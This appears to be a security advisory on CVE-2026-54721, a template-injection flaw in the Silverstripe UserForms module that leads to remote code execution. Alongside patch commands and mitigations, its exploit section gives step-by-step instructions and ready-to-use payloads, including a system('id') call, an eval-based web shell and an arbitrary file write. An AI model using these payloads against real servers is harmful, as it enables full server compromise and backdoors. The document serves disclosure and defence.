Listen to this Post
CVE-2026-54721 is a remote code execution (RCE) vulnerability affecting the Silverstripe UserForms module, discovered by Jack Wallace of Bastion Security and published on June 24, 2026. The flaw resides in the email subject field of user-defined forms within the Silverstripe CMS, where authenticated CMS users with form creation permissions can inject malicious payloads that lead to arbitrary PHP code execution on the server. The vulnerability stems from improper handling of template translation blocks in the Silverstripe templating engine, specifically the `<%t %>` construct, which is used for internationalization and translation of strings.
When a CMS user configures a form, they can set a custom email subject that is sent upon form submission. This subject field is rendered through the Silverstripe template engine, and the `<%t %>` translation block within it is compiled into PHP code. In vulnerable versions, the template parser emits the default and context strings of the `<%t %>` block as double‑quoted PHP string literals. Double‑quoted strings in PHP automatically interpolate variables and evaluate variable‑variable expressions (e.g., `${$var}` or $$var), allowing an attacker to embed PHP code inside the translation block. Because the email subject is user‑controlled and the template is evaluated server‑side, a specially crafted payload can escape the intended string context and execute arbitrary PHP functions, system commands, or file operations.
The attack vector is straightforward: an authenticated CMS user with permission to create or modify userforms navigates to the form configuration panel, locates the email notification settings, and inserts a malicious `<%t %>` block containing a PHP variable‑variable expression into the email subject field. When the form is submitted and the notification email is generated, the template engine compiles and executes the payload, granting the attacker remote code execution with the privileges of the web server user. The vulnerability is rated with a CVSS base score of 8.8 (High), reflecting the ease of exploitation (low attack complexity, low privileges required, no user interaction) and the critical impact on confidentiality, integrity, and availability. The issue affects all Silverstripe installations using the userforms module with versions below 6.4.9, from 7.0.0 up to (but not including) 7.0.7, and from 7.1.0 up to (but not including) 7.1.1. Patched versions were released on June 24, 2026, with the fix modifying the template parser to emit default and context strings as single‑quoted PHP literals, which do not interpolate variables, effectively neutralizing the injection vector.
DailyCVE Form:
Platform: Silverstripe CMS
Version: <6.4.9, 7.0.0-7.0.6, 7.1.0
Vulnerability: SSTI → RCE
Severity: High (CVSS 8.8)
date: 2026-06-24
Prediction: 2026-06-24 (already patched)
What Undercode Say:
Check installed Silverstripe UserForms version composer show silverstripe/userforms Verify if vulnerable (example output parsing) composer show silverstripe/userforms | grep -E "versions|6.4.9|7.0.7|7.1.1" Update to patched version composer require silverstripe/userforms:^6.4.9 or for 7.x branches: composer require silverstripe/userforms:^7.0.7 composer require silverstripe/userforms:^7.1.1 After update, clear cache vendor/bin/sake dev/build flush=all
Vulnerable code snippet (simplified) – template parser emitting double‑quoted strings:
// Vulnerable compilation of <%t 'Default' context='Context' %>
$string = "Default"; // Double-quoted -> interpolates ${...}
Patched code – single‑quoted strings:
// Patched compilation $string = 'Default'; // Single-quoted -> no interpolation
Exploit: (Educational Purposes!)
To exploit this vulnerability, an authenticated CMS user with permission to create or modify userforms performs the following steps:
1. Navigate to the CMS admin panel and open an existing userform or create a new one.
2. Go to the “Email Notifications” or “Submission Settings” section.
3. In the “Email Subject” field, inject a payload such as:
<%t '${system("id")}' context='${system("id")}' %>
or
<%t '${eval($_GET["cmd"])}' context='${eval($_GET["cmd"])}' %>
4. Save the form and trigger a submission (or wait for a legitimate submission).
5. When the notification email is generated, the template engine compiles the `<%t %>` block into a double‑quoted PHP string, causing the embedded PHP expression to execute. In the first example, the `system(“id”)` function runs and returns the output of the `id` command. In the second, a web shell backdoor is planted via eval().
Example payload targeting file system access:
<%t '${file_put_contents($_GET["f"], $_GET["d"])}' context='${file_put_contents($_GET["f"], $_GET["d"])}' %>
This writes arbitrary data to a file on the server when the form is submitted, effectively achieving remote code execution through a file write primitive.
Protection:
- Immediate Update: Upgrade the `silverstripe/userforms` module to the patched versions: 6.4.9, 7.0.7, or 7.1.1, depending on your branch. This is the primary and most effective mitigation.
- Framework/Template Engine Update: Ensure that the underlying Silverstripe framework or template‑engine package is also updated to include the parser fix (applied in Silverstripe CMS 5.4, 6.1, and 6.2). The userforms module now requires these fixed versions.
- Restrict CMS Permissions: Limit the number of CMS users who have permission to create or modify userforms. Apply the principle of least privilege – only grant `EDIT_USERFORMS` or equivalent permissions to trusted administrators.
- Input Validation: If immediate patching is not feasible, implement a temporary Web Application Firewall (WAF) rule to block requests containing `<%t` or `$` patterns in email subject parameters. However, this is not a complete fix and should only be used as a stopgap.
- Monitor Logs: Review CMS access logs and web server error logs for unusual template compilation errors or unexpected system command outputs that may indicate exploitation attempts.
Impact:
Successful exploitation of CVE-2026-54721 allows an authenticated attacker with minimal privileges (only the ability to create or edit forms) to execute arbitrary PHP code on the server. This leads to a complete compromise of the underlying system, including:
– Confidentiality: The attacker can read sensitive files, database credentials, configuration files, and other private data stored on the server.
– Integrity: The attacker can modify, delete, or corrupt website content, database records, and application files, potentially defacing the site or planting backdoors.
– Availability: The attacker can disrupt services by deleting critical files, overloading the system, or executing denial‑of‑service commands, rendering the application unusable.
– Pivot and Lateral Movement: With shell access, the attacker can probe internal networks, access other services, and escalate privileges, potentially compromising the entire hosting environment.
Given the wide deployment of Silverstripe CMS and the UserForms module, this vulnerability poses a significant risk to thousands of websites. The high CVSS score (8.8) underscores the critical need for immediate patching. Organizations using Silverstripe should prioritize this update and review their CMS user permissions to mitigate the risk of exploitation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

